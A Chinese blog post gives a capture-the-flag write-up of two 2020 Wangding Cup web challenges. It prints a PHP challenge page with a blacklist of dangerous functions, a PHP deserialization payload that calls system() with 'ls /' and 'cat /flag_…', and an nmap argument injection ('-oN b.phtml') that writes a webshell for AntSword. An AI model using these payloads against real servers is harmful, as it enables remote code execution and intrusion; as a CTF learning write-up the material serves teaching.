HacKerQWQ的博客空间

动态调用函数以及nmap用法在网鼎杯的例题

Word count: 970Reading time: 4 min
2020/08/12 Share

2020-网鼎杯-phpweb

看到题目只有一个背景图还有规范的时间格式

其次注意到每隔一段时间,时间就会刷新,抓包看看

于是想到了这里有可能存在调用函数的破绽,尝试了几个常用的system(),shell_exec(),passthru()都被拦截了之后,试了试file_get_contents()发现可以,于是把index.php源码down下来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background:url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>
<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch",
"escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",
"array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce",
"array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
);
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method="post">
<input type="hidden" id="func" name="func" value='date'>
<input type="hidden" id="p" name="p" value='Y-m-d h:i:s a'>
</form>
</body>
</html>

通过反序列化绕过黑名单

利用思路

这个php的作用就是,接收传递过来的$func、$p参数,然后对$func进行黑名单过滤,然后使用call_user_func函数,将第一个参数作为回调函数,也就是$fun($p),然后再判断返回的结果是不是string格式的,如果是就输出,不是就返回空白字符串。

这里我们需要特殊注意的是这个__destruct函数,存在即合理,不会无缘无故存在但是没有任何作用,自然而然就想到反序列化,同时黑名单列表里面没有unserialize函数,所以猜想正确。

本地测试:

结果:

说明序列化和反序列化都会调用__destruct()函数

payload

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo "hello" . "\n";
}
}
}
$c = new Test();
$c ->func="system";
$c ->p="ls /";
$result = serialize($c);
echo urlencode($result);

查看flag

1
2
3
4
5
$c = new Test();
$c ->func="system";
$c ->p="cat /flag_9777417";
$result = serialize($c);
echo urlencode($result);

就得到最终flag了

nmap

题目:

index.php是一个输入hostname或者IP地址用于nmap的地方

然后list.php是一个查看结果的地方(存在一个.gitkeep的结果)

点开之后

url有点可疑

1
/result.php?f=.gitkeep

就目前的情况来看有几个方向:index.php里的命令执行,result.php里的文件包含,.git源码泄露,利用nmap参数读入输出指定文件

解法1

1.命令执行:;、|、||、&、&&、%0a、%0d都不行
2.文件包含:随便输入了几个都显示Wrong file name

3..git 源码泄露也不存在,仔细想想也跟题目不符

那么只剩下nmap参数读入文件输出文件了

payload:

之后访问tmp1.txt得到flag:

解法2

上传一句话木马,过滤了php字符串

可以上传 文件名为phtml

payload:’ -oN b.phtml

之后用蚁剑连接就可以看到了

CATALOG
  1. 1. 2020-网鼎杯-phpweb
    1. 1.1. 通过反序列化绕过黑名单
      1. 1.1.1. 利用思路
      2. 1.1.2. payload
  2. 2. nmap
    1. 2.1. 解法1
    2. 2.2. 解法2